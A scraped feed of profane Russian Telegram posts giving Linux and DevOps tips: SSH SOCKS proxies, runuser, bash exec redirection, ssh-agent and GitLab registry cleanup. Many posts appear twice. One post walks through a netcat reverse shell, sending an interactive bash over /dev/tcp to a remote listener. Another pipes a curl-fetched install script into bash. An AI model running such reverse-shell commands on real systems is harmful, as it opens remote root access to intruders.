100% кешбэк за Kubernetes и базы данных в Selectel
Разверните свой проект в Selectel и пользуйтесь PaaS-сервисами с кешбэком. Подключите отказоустойчивые и масштабируемые кластеры Managed Kubernetes и облачных баз данных, а мы вернем бонусами 100% от суммы за первые 30 дней использования сервисов.
Selectel — ведущий российский провайдер IT-инфраструктуры с облаком собственной разработки. Лидер среди провайдеров Kubernetes и облачных баз данных, по версии CNews.
Преимущества PaaS-сервисов в Selectel:
▪️ Отказоустойчивость. Гарантируем доступность и стабильную работу сервисов за счет отказоустойчивого кластера.
▪️ Масштабируемость. У нас всегда есть ресурсы для масштабирования и роста ваших проектов.
▪️ Экосистема продуктов. 40+ сервисов для создания проектов любого масштаба и сложности.
▪️ Простое управление. Работайте с кластерами через панель, Terraform-провайдер или API.
Участвуйте в акции и верните 100% затрат на Kubernetes и базы данных. Подробные условия по ссылке: https://slc.tl/rl6wi
Рекла...
Разверните свой проект в Selectel и пользуйтесь PaaS-сервисами с кешбэком. Подключите отказоустойчивые и масштабируемые кластеры Managed Kubernetes и облачных баз данных, а мы вернем бонусами 100% от суммы за первые 30 дней использования сервисов.
Selectel — ведущий российский провайдер IT-инфраструктуры с облаком собственной разработки. Лидер среди провайдеров Kubernetes и облачных баз данных, по версии CNews.
Преимущества PaaS-сервисов в Selectel:
▪️ Отказоустойчивость. Гарантируем доступность и стабильную работу сервисов за счет отказоустойчивого кластера.
▪️ Масштабируемость. У нас всегда есть ресурсы для масштабирования и роста ваших проектов.
▪️ Экосистема продуктов. 40+ сервисов для создания проектов любого масштаба и сложности.
▪️ Простое управление. Работайте с кластерами через панель, Terraform-провайдер или API.
Участвуйте в акции и верните 100% затрат на Kubernetes и базы данных. Подробные условия по ссылке: https://slc.tl/rl6wi
Рекла...
This media is not supported in your browser
VIEW IN TELEGRAM
Привет, пока я летаю, рекомендую обратить внимание на эту софтину.
✔️ goManageDocker
Это инструмент для управления docker’ом через интерфейс командной строки.
Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.
ㅤ
Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.
Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.
Ставится элементарно:
Репка тут: https://github.com/ajayd-san/gomanagedocker
tags: #utilites
—
🔔
✔️ goManageDocker
Это инструмент для управления docker’ом через интерфейс командной строки.
Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.
ㅤ
Обычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.
Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.
Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.
Ставится элементарно:
bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"
Репка тут: https://github.com/ajayd-san/gomanagedocker
tags: #utilites
—
🔔
Здрасти, я потихоньку прихожу в себя после всех этих поездок. К концу недели глядишь раскачаюсь и войду в привычный ритм. Ну а пока читаем пиздатые посты от Tagd Tagd 👇
Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.
Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)
ㅤ
А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.
Но давать доступ к консоли страшно, вдруг что-нибудь сломают.
Вы уже знаете, как настроить ключи. И они прописаны и работают!!!
Есть несколько способов безболезненно раздать vрn на свою семью. В файле
Если иcпользуете группу — не забудьте добавить в нее пользователя:
При параметре
На клиенте:
После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.
В firefox:
Если ваш адрес
В настройках firefox нужно будет заменить
Продолжение следует...
tags: #linux
—
🔔
Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.
Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)
ㅤ
А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.
Но давать доступ к консоли страшно, вдруг что-нибудь сломают.
БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.
Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.
Наличие физического доступа к консоли - приветствуется.
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)
Вы уже знаете, как настроить ключи. И они прописаны и работают!!!
Есть несколько способов безболезненно раздать vрn на свою семью. В файле
/etc/ssh/sshd_config
Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--
sudo service sshd restart
Если иcпользуете группу — не забудьте добавить в нее пользователя:
sudo usermod -aG proxy bashdays_tagd
При параметре
MaxSessions 0
будет запрещен доступ к shell и sftp. Но разрешен проброс портов.На клиенте:
ssh -N -D 5000 bashdays_tagd.host.name
После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.
В firefox:
Настройки -> Настройка сети -> Параметры соединения
Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.
Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5
или:
ssh -N -D 192.168.1.57:5000 bashdays_tagd.host.name
Если ваш адрес
192.168.1.57
и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):В настройках firefox нужно будет заменить
127.0.0.1
на 192.168.1.57
Продолжение следует...
tags: #linux
—
🔔
Все мы прекрасно знаем, что для переключения пользователя есть
ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
Ну и важно посмотреть
В скриптах предпочтительнее использовать именно
Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается
Такие дела, изучайте…
tags: #linux
—
🔔
su
и sudo
. Но не все знают про команду runuser
.ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
runuser -u roman -- id
Ну и важно посмотреть
help
, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.В скриптах предпочтительнее использовать именно
runuser
чем везде пихать su
.Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается
su
от sudo
(+ это двойное тире) я писал в этом посте.Такие дела, изучайте…
tags: #linux
—
🔔
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
Просим инженера из мухосранска запустить у себя:
В ответ он получает строчку вида:
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
Не забываем у инженера узнать его IP, чтобы подставитьинженера его в команду.
Все эти хуйни с перенаправлением
А дальше… магия!
В мухосранске, там где запустили
У инженера сменится шелл с
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
nc
= netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
netcat
.Просим инженера из мухосранска запустить у себя:
root:/ nc -lvnp 2288
В ответ он получает строчку вида:
Listening on 0.0.0.0 2288
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить
Все эти хуйни с перенаправлением
0<&1 2>&1
описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.А дальше… магия!
В мухосранске, там где запустили
nc -lvnp 2288
, произойдет такое:Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root:~#
У инженера сменится шелл с
root
на root
и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.
В файле
Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):
А на клиенте:
После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!
В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси.
+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.
или
Если ваш адрес
В настройка firefox нужно будет заменить
Продолжение следует... © by Tagd Tagd
tags: #linux #networks #bash
—
🔔
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
sudo vim /usr/local/bin/socksshell
#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done
sudo chmod 755 /usr/local/bin/socksshell
Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.
В файле
/etc/ssh/sshd_config
Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--
Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):
sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart
А на клиенте:
ssh -D 5000 bashdays_tagd.host.name
После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!
В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси.
SOCKS5. 127.0.0.1 порт 5000.
+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.
или
ssh -D 192.168.1.57:5000 bashdays_tagd.host.name
Если ваш адрес
192.168.1.57
и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.В настройка firefox нужно будет заменить
127.0.0.1
на 192.168.1.57
Продолжение следует... © by Tagd Tagd
tags: #linux #networks #bash
—
🔔
Здрасти здрасти хуймордасти, оказывается есть люди, которые не знают как залетать в mysql без пароля.
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его
Содержимое файла
Этот файл содержит настройки по умолчанию для команд mysql.
Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.
Либо передавать напрямую в mysql путь до файла с помощью ключа:
В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.
Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.
А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.
Почитать: Параметры командной строки, влияющие на обработку.
Хороших предстоящих выходных!
tags: #linux #mysql
—
🔔
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его
/home/user/.my.cnf.
Содержимое файла
.my.cnf
[client]
user=user
password=passwd
database=db
Этот файл содержит настройки по умолчанию для команд mysql.
Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.
Либо передавать напрямую в mysql путь до файла с помощью ключа:
--defaults-file==filename
В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.
Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.
Обычно этот хак используют на рутах, чтобы рут не ебался и залетал с первым же лучиком солнца.
А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.
Почитать: Параметры командной строки, влияющие на обработку.
Хороших предстоящих выходных!
tags: #linux #mysql
—
🔔
На пути к умноватому дому напишем простой ip watchdog на баш. Будем мониторить наличие интернета и перезапускать роутер, если он "завис". ㅤ
Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.
Таким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.
Если проблем нет
Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.
Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.
Ну, и теперь самое интересное.
На aliexpress ищем "usb relay". (одиночный < 200 рублей).
Качаем и ставим драйвера и пишем что-то вроде:
Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.
tags: #homework #DIY © by Tagd Tagd
—
🔔
#!/bin/bash
declare -i COUNTER=0
declare -r P=1m # задержка между пингами или циклами
function EXECUTE(){ echo $COUNTER Need execute ; }
while :;do
COUNTER+=1
for LNK in "ya.ru" "youtube.ru" "list.ru" "vk.com" "8.8.8.8" \
"2ns.info" "aliexpress.com" "yandex.ru" "77.88.8.8" "ozon.ru" \
"8.8.4.4" "gmail.com" "mail.ru" "ok.ru" "youtube.com";do
ping -c1 -w2 $LNK > /dev/null 2>&1
if [[ $? -eq 0 ]];then
COUNTER=0
sleep $P
fi
done
case $COUNTER in
0) continue;;
2|5|10|15|20|40|60|90|120|180|300) EXECUTE;;
600) COUNTER=300; EXECUTE;;
esac
sleep $P
done
#--
COUNTER
- счетчик циклов присутствия проблемы.P=1m
- задержка в цикле 1 минутаfunction EXECUTE()
- функция, в которой прописываем действия для устранения проблемы.for LNK in ... done
в цикле пингуем адреса, и если хотя бы один ответ получили, сбрасываем счетчик проблем в 0 и выдерживаем паузу. Если ответ на ping не получили без задержек переходим к следующему адресу.Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.
ping -c1
- один пакет -w2
- время ожидания 2 секТаким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.
case $COUNTER in ... esac
самый удобный оператор для множественных условий.Если проблем нет
($COUNTER=0)
сразу возвращаемся к пингам. Если проблема есть попробуем ее решить (перезагрузить роутер, например).Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.
600) COUNTER=300...;;
- далее попытки проводятся через 300 циклов. Вообще-то строку "600) COUNTER=300; EXECUTE;;"
можно было бы заменить на "599) COUNTER=299;;"
с сохранением логики работы. Но оставил более понятный вариант.Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.
Ну, и теперь самое интересное.
На aliexpress ищем "usb relay". (одиночный < 200 рублей).
Качаем и ставим драйвера и пишем что-то вроде:
declare -r HEX_CODE_OFF='\xA0\x01\x01\xA2'
declare -r HEX_CODE_ON='\xA0\x01\x00\xA1'
#use ls /dev/ttyUSB* ###############################
declare -r USB_DEV=/dev/ttyUSB0
echo -n -e $HEX_CODE_OFF > $USB_DEV
sleep 30
echo -n -e $HEX_CODE_ON > $USB_DEV
Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.
PS от Ромы — НО будьте аккуратны, чтобы ёбом не токнуло!
tags: #homework #DIY © by Tagd Tagd
—
🔔
Ну вот и отгуляли лето, впереди новый учебный год, подъемы в 6 утра и ожидание выходных. Но есть и плюсы, хотя…
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
Не забываем забить свои переменные. На вебморду можно попасть так:
В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.
Официальная репка на гитхабе тут
tags: #utilites
—
🔔 ➡️
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
docker run --name wyl \
-e "IFACES=$YOURIFACE" \
-e "TZ=$YOURTIMEZONE" \
--network="host" \
-v $DOCKERDATAPATH/wyl:/data/WatchYourLAN \
aceberg/watchyourlan:v2
Не забываем забить свои переменные. На вебморду можно попасть так:
< IP >:8844
В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.
Официальная репка на гитхабе тут
tags: #utilites
—
🔔 ➡️
@glyanka_ru 👀 — твой карманный гид по миру умопомрачителных интерьеров. Зависть соседей обеспечена! Подписывайся!
Когда собирался писать об этом операторе на ум пришла считалочка, которой меня научили в пионерском лагере.
А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.
Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.
Вот, а сейчас говорят, что пионеров ничему хорошему не учили...
Есть два варианта использования:
1.
пример:
2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.
В Basic
В bash
В Basic
В bash
В Basic
В bash
В Basic
В bash
Приведу несколько полезных примеров
На код ошибки (типа errorlevel) это не влияет.
Стоп-стоп. Откуда взялся
Все помнят, что
Пример:
Если нужно закрыть 4, например, дескриптор за ненадобностью
tags: #bash © by Tagd Tagd
—
🔔 ➡️
А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.
Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.
Вот, а сейчас говорят, что пионеров ничему хорошему не учили...
exec
.Есть два варианта использования:
1.
exec command
— билет в один конец. Для чего это нужно я так и не понял, может умные в комментах напишут. Перед выполнением команды, bash фактически завершается, управление передаётся команде. И все...пример:
exec echo 123
— результат очень красочный. Такой же, как и с любой другой командой.2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.
В Basic
open "filename.txt" for input as #3
В bash
exec 3<fileneme.txt
В Basic
open "filename.txt" for output as #4
В bash
exec 4>filename.txt
В Basic
open "filename.txt" for append as #5
В bash
exec 5>>filename.txt
В Basic
open "filename.txt" for random as #6
В bash
exec 6<>filename.txt
Приведу несколько полезных примеров
exec 2>/dev/null
— все сообщения об ошибках отправить по пути, указанному в считалочке.На код ошибки (типа errorlevel) это не влияет.
exec 1>filename.txt
все сообщения, кроме ошибок отправить в файл.exec 1>filename.txt 2>&1
все сообщения, включая ошибки отправить в файл.Стоп-стоп. Откуда взялся
&?
Легко запомнить. Это костыль. Если вы не укажите &
, сообщения попадут в файл с именем "1".Все помнят, что
0=/dev/stdin 1=/dev/stdout 2=/dev/stderr.
Остальные 3-9 можем использовать по собственному усмотрению.Пример:
#!/bin/bash
seq 1 3|tee 1.txt > 2.txt
exec 3<1.txt
while read -u3 L1;do
exec 4<2.txt
while read -u4 L2;do
echo $L1 $L2
done
done
seq
— создаем два файла, по три строки в каждомexec 3<1.txt
- открываем файл для чтения с дескриптором 3read -u3 L1
читаем из файла с дескриптором 3. Дальше все аналогично.Если нужно закрыть 4, например, дескриптор за ненадобностью
exec 4>&-
man tee seq
help while read exec
tags: #bash © by Tagd Tagd
—
🔔 ➡️
После того как я проверил на себе Suicide Linux, я всё проебал. Пришлось с нуля настраивать всё окружение.
В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.
ㅤ
Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через
И нашел я BLE.sh (Bash Line Editor). Звучит же?
Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.
Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в
Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.
Бле так Бле!
В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.
Но как быть со сфистоперделками и но...
В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.
ㅤ
Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через
.bashrc
хуй поставишь.И нашел я BLE.sh (Bash Line Editor). Звучит же?
Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.
Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в
~/.profile
подключаешь. Выглядит это так:git clone --recursive https://github.com/akinomyoga/ble.sh.git
make -C ble.sh
echo "source ble.sh/out/ble.sh" >> ~/.profile
Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.
Бле так Бле!
В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.
Но как быть со сфистоперделками и но...
🔵 Инженер техподдержки? Получи оффер в YADRO всего за неделю!
У тебя есть возможность поучаствовать в One Week Offer от крупнейшей технологической компании России - лидера инженерной индустрии.
Если ты хорошо знаешь принципы серверной архитектуры и СХД и хочешь стать частью масштабных проектов:
• Пришли своё резюме и заполни форму участия до 22 сентября.
• Пройди техническое интервью.
• Получи оффер после успешного собеседования.
Скорее переходи по ссылке и стань частью команды.
У тебя есть возможность поучаствовать в One Week Offer от крупнейшей технологической компании России - лидера инженерной индустрии.
Если ты хорошо знаешь принципы серверной архитектуры и СХД и хочешь стать частью масштабных проектов:
• Пришли своё резюме и заполни форму участия до 22 сентября.
• Пройди техническое интервью.
• Получи оффер после успешного собеседования.
Скорее переходи по ссылке и стань частью команды.
Привет. В дополнение к предыдущему посту про свистоперделки.
Чтобы каждый раз не вводить такую дичь:
Ключик можно автоматически добавлять в ssh-agent и тогда подключение будет выглядеть так:
Чтобы это провернуть, прописываем в ~/.profile
Первый блок проверяет запущен ли SSH агент, а если нет — запускает его.
ㅤ
Второй блок добавляет нужные ключи в агент. Посмотреть все ключи в агенте можешь командой
Вот и вся наука. Ну а теперь интерактивная часть.
Ну а чтоб тебе не скучно было, можешь написать башник и скинуть в комменты, который автоматически пробегается по всем ключам в папке ~/.ssh и добавляет их в агент.
Но учти что в этой папке могут быть косячные ключи, ключи с неправильными правами, да и всякие файлы вида config, known_hosts. Короче потребуется работа с эксепшенами.
Чей коммент с решением соберет больше всех реакций и будет заебись работать, закину приятный бонус. Поехали!
tags: #utilites #рабочиебудни #bash
—
🔔 ➡️
Чтобы каждый раз не вводить такую дичь:
ssh -i ~/.ssh/id_rsa user.xxx.xxx.xxx
Ключик можно автоматически добавлять в ssh-agent и тогда подключение будет выглядеть так:
ssh user.xxx.xxx.xxx
Чтобы это провернуть, прописываем в ~/.profile
if [ -z "$SSH_AUTH_SOCK" ]; then
eval $(ssh-agent -s) > ~/.ssh/ssh-agent
fi
ssh-add ~/.ssh/gitlab_rsa
ssh-add ~/.ssh/production_rsa
ssh-add ~/.ssh/home_rsa
Первый блок проверяет запущен ли SSH агент, а если нет — запускает его.
ㅤ
Второй блок добавляет нужные ключи в агент. Посмотреть все ключи в агенте можешь командой
ssh-add -L
, а удалить всё из агента можно командой ssh-add -D.
Вот и вся наука. Ну а теперь интерактивная часть.
Ну а чтоб тебе не скучно было, можешь написать башник и скинуть в комменты, который автоматически пробегается по всем ключам в папке ~/.ssh и добавляет их в агент.
Но учти что в этой папке могут быть косячные ключи, ключи с неправильными правами, да и всякие файлы вида config, known_hosts. Короче потребуется работа с эксепшенами.
Чей коммент с решением соберет больше всех реакций и будет заебись работать, закину приятный бонус. Поехали!
tags: #utilites #рабочиебудни #bash
—
🔔 ➡️
Здрасти приехали, пятница!
Частый вопрос который задают ребята с проекта Linux Factory:
ㅤ
В gitlab есть встроенная херня, которая находится в Settings → Packages & Registries → Container Registry. Заранее не забудь выбрать нужный проект.
Там есть раздел: Cleanup Policies, в нём нажимаешь кнопку Set cleanup rules иии видишь еще кучу какого-то гавна.
Короче:
В этих штуках работают регулярные выражения, примеры этих регулярок можешь глянуть тут.
Еще момент, если заполнить Keep these tags, то это даст протекцию тегам и даже если их прописать в Remove these tags имейджы не будут удалены.
Заполняешь, сохраняешь и оно автоматически будет тебе все подчищать.
✔ Дополнительные варианты зачистки:
- удаляешь мышкой в UI самого гитлаба
- удаляешь через API самого гитлаба (например баш скриптом)
- используешь утилиты типа regclient или docker-gc
Такие дела, надеюсь было полезно. Давай, хороших тебе предстоящих выходных и береги себя!
tags: #devops
—
🔔 ➡️
Частый вопрос который задают ребята с проекта Linux Factory:
ㅤ
Как в gitlab registry чистить докер имейджы, а то там такая пиздец блядь каша после экспериментов.
В gitlab есть встроенная херня, которая находится в Settings → Packages & Registries → Container Registry. Заранее не забудь выбрать нужный проект.
Там есть раздел: Cleanup Policies, в нём нажимаешь кнопку Set cleanup rules иии видишь еще кучу какого-то гавна.
Короче:
Run cleanup
— выбираешь как часто запускать зачисткуKeep these tags
— теги которые не нужно зачищатьRemove these tags
— теги которые будем удалятьRemove tags older than
— ну тут ежу понятноВ этих штуках работают регулярные выражения, примеры этих регулярок можешь глянуть тут.
Еще момент, если заполнить Keep these tags, то это даст протекцию тегам и даже если их прописать в Remove these tags имейджы не будут удалены.
Заполняешь, сохраняешь и оно автоматически будет тебе все подчищать.
✔ Дополнительные варианты зачистки:
- удаляешь мышкой в UI самого гитлаба
- удаляешь через API самого гитлаба (например баш скриптом)
- используешь утилиты типа regclient или docker-gc
Такие дела, надеюсь было полезно. Давай, хороших тебе предстоящих выходных и береги себя!
tags: #devops
—
🔔 ➡️
Еще раз привет. В последнее время многие столкнулись с проблемой при запуске пайплайнов в гитлабе.
ㅤ
Требуется какая-то ебучая Verify my account, квест который не так просто пройти. Но есть способ это обойти, спасибо за наводку Akhmed Gvashev.
Пиздуем в Settings → CI/CD → Runners → Instance runners и отключаем Enable instance runners for this project.
Всё, дело в шляпе. А дальше регистрируешь свои локальные раннеры и запускаешь пайплайны хоть до посинения.
Пользуйтесь!
tags: #devops
—
🔔 ➡️
ㅤ
